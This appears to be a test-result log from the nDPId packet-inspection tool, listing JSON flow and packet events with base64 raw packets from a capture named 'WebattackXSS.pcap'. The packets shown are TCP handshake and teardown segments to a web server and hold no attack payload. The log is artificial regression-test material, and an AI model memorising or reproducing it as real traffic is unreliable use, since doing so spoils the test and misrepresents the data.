+00444{"flow_id":337,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4774,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":145495,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8BSZAAD4GwKqsEAABwKgKMuOmAFDsIBPeAAAAAKACchBi2wAAAgQFtAQCCAoBOxb4AAAAAAEDAwc="} +00444{"flow_id":337,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4775,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":145637,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ46adBfH37CAT36AScSDoagAAAgQFtAQCCAoD5OhtATsW+AEDAwc="} +00432{"flow_id":337,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":146361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BSdAAD4GwLGsEAABwKgKMuOmAFDsIBPfnQXx+IAQAOWHcgAAAQEICgE7FvgD5Oht"} +00432{"flow_id":334,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4779,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":760518,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vMxAAD4GCQysEAABwKgKMuNwAFAre67NXfpE+IARAOWdwgAAAQEICgE7F5ID5ON7"} +00432{"flow_id":334,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4780,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":760745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rf9AAEAGFdnAqAoyrBAAAQBQ43Bd+kT4K3uuzoARAOOYNwAAAQEICgPk6QcBOxeS"} +00432{"flow_id":334,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4781,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347540,"pkt_ts_usec":761481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vM1AAD4GCQusEAABwKgKMuNwAFAre67OXfpE+YAQAOWYNQAAAQEICgE7F5ID5OkH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4785,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":338,"flow_packet_id":1,"flow_first_seen":1499347541398,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":338,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4785,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":398414,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WJdAAD4GbTmsEAABwKgKMuO0AFCKGUCmAAAAAKACchCW0wAAAgQFtAQCCAoBOxgxAAAAAAEDAwc="} +00444{"flow_id":338,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4786,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":398529,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ47RdwzayihlAp6AScSAVsQAAAgQFtAQCCAoD5OmnATsYMQEDAwc="} +00432{"flow_id":338,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4787,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":399263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WJhAAD4GbUCsEAABwKgKMuO0AFCKGUCnXcM2s4AQAOW0uAAAAQEICgE7GDED5Omn"} +00432{"flow_id":335,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4791,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":760915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iGRAAD4GPXSsEAABwKgKMuN+AFBSPZteJdF39YARAOWNWgAAAQEICgE7GIwD5OS0"} +00432{"flow_id":335,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4792,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":761246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nfRAAEAGJeTAqAoyrBAAAQBQ434l0Xf1Uj2bX4ARAOOIDgAAAQEICgPk6gEBOxiM"} +00432{"flow_id":335,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4793,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347541,"pkt_ts_usec":761799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iGVAAD4GPXOsEAABwKgKMuN+AFBSPZtfJdF39oAQAOWIDAAAAQEICgE7GIwD5OoB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4797,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":339,"flow_packet_id":1,"flow_first_seen":1499347542648,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58306,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":339,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4797,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":648815,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80V9AAD4G9HCsEAABwKgKMuPCAFCPt8g1AAAAAKACchAIXwAAAgQFtAQCCAoBOxlqAAAAAAEDAwc="} +00445{"flow_id":339,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4798,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":648966,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ48Js\/FwIj7fINqAScSBRdQAAAgQFtAQCCAoD5OrfATsZagEDAwc="} +00432{"flow_id":339,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4799,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":649714,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00WBAAD4G9HesEAABwKgKMuPCAFCPt8g2bPxcCYAQAOXwfAAAAQEICgE7GWoD5Orf"} +00432{"flow_id":336,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":761054,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UmZAAD4Gc3KsEAABwKgKMuOMAFC1fUYfcmVJS4ARAOVfLAAAAQEICgE7GYYD5OXv"} +00432{"flow_id":336,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4804,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":761297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0o7BAAEAGICjAqAoyrBAAAQBQ44xyZUlLtX1GIIARAONaIQAAAQEICgPk6vsBOxmG"} +00432{"flow_id":336,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347542,"pkt_ts_usec":762044,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UmdAAD4Gc3GsEAABwKgKMuOMAFC1fUYgcmVJTIAQAOVaHwAAAQEICgE7GYYD5Or7"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4815,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":340,"flow_packet_id":1,"flow_first_seen":1499347545176,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":340,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4815,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":176704,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8HVZAAD4GqHqsEAABwKgKMuPcAFAahQa0AAAAAKACchA8gQAAAgQFtAQCCAoBOxviAAAAAAEDAwc="} +00444{"flow_id":340,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4816,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":176821,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ49weXgmaGoUGtaAScSAkLAAAAgQFtAQCCAoD5O1XATsb4gEDAwc="} +00432{"flow_id":340,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4817,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":177611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HVdAAD4GqIGsEAABwKgKMuPcAFAahQa1Hl4Jm4AQAOXDMwAAAQEICgE7G+ID5O1X"} +00432{"flow_id":337,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4821,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":762365,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BShAAD4GwLCsEAABwKgKMuOmAFDsIBPfnQXx+IARAOWB9QAAAQEICgE7HHQD5Oht"} +00432{"flow_id":337,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4822,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":762631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HBJAAEAGp8bAqAoyrBAAAQBQ46adBfH47CAT4IARAON8eQAAAQEICgPk7eoBOxx0"} +00432{"flow_id":337,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4823,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347545,"pkt_ts_usec":763383,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BSlAAD4GwK+sEAABwKgKMuOmAFDsIBPgnQXx+YAQAOV8dgAAAQEICgE7HHUD5O3q"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4827,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":341,"flow_packet_id":1,"flow_first_seen":1499347546427,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":341,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4827,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":427962,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Q6tAAD4GgiWsEAABwKgKMuPqAFBqhV6wAAAAAKACchCTPQAAAgQFtAQCCAoBOx0bAAAAAAEDAwc="} +00444{"flow_id":341,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4828,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":428110,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4+qNxgXIaoVesaAScSAOGQAAAgQFtAQCCAoD5O6QATsdGwEDAwc="} +00432{"flow_id":341,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4829,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":428846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q6xAAD4GgiysEAABwKgKMuPqAFBqhV6xjcYFyYAQAOWtIAAAAQEICgE7HRsD5O6Q"} +00432{"flow_id":338,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4833,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":762236,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WJlAAD4GbT+sEAABwKgKMuO0AFCKGUCnXcM2s4ARAOWvegAAAQEICgE7HW4D5Omn"} +00432{"flow_id":338,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4834,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":762530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02FdAAEAG64DAqAoyrBAAAQBQ47RdwzazihlAqIARAOOqPgAAAQEICgPk7uQBOx1u"} +00432{"flow_id":338,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4835,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347546,"pkt_ts_usec":763246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WJpAAD4GbT6sEAABwKgKMuO0AFCKGUCoXcM2tIAQAOWqPAAAAQEICgE7HW4D5O7k"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":310,"flow_first_seen":1499347419786,"flow_last_seen":1499347486791,"flow_tot_l4_data_len":242617,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":782,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":6,"flow_first_seen":1499347474100,"flow_last_seen":1499347479744,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57576,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":6,"flow_first_seen":1499347474100,"flow_last_seen":1499347479744,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":6,"flow_first_seen":1499347475384,"flow_last_seen":1499347480745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57590,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":6,"flow_first_seen":1499347475384,"flow_last_seen":1499347480745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":6,"flow_first_seen":1499347476667,"flow_last_seen":1499347481745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57604,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":6,"flow_first_seen":1499347476667,"flow_last_seen":1499347481745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":6,"flow_first_seen":1499347479172,"flow_last_seen":1499347484745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57630,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":6,"flow_first_seen":1499347479172,"flow_last_seen":1499347484745,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":6,"flow_first_seen":1499347480438,"flow_last_seen":1499347485746,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57644,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":6,"flow_first_seen":1499347480438,"flow_last_seen":1499347485746,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57644,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":6,"flow_first_seen":1499347481724,"flow_last_seen":1499347486747,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57658,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4836,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":6,"flow_first_seen":1499347481724,"flow_last_seen":1499347486747,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57658,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4839,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":342,"flow_packet_id":1,"flow_first_seen":1499347547687,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58360,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":342,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4839,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":687536,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89IlAAD4G0UasEAABwKgKMuP4AFDYf+rfAAAAAKACchCXygAAAgQFtAQCCAoBOx5WAAAAAAEDAwc="} +00447{"flow_id":342,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4840,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":687660,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4\/gRtWE22H\/q4KAScSAyDgAAAgQFtAQCCAoD5O\/LATseVgEDAwc="} +00433{"flow_id":342,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4841,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":688222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09IpAAD4G0U2sEAABwKgKMuP4AFDYf+rgEbVhN4AQAOXRFQAAAQEICgE7HlYD5O\/L"} 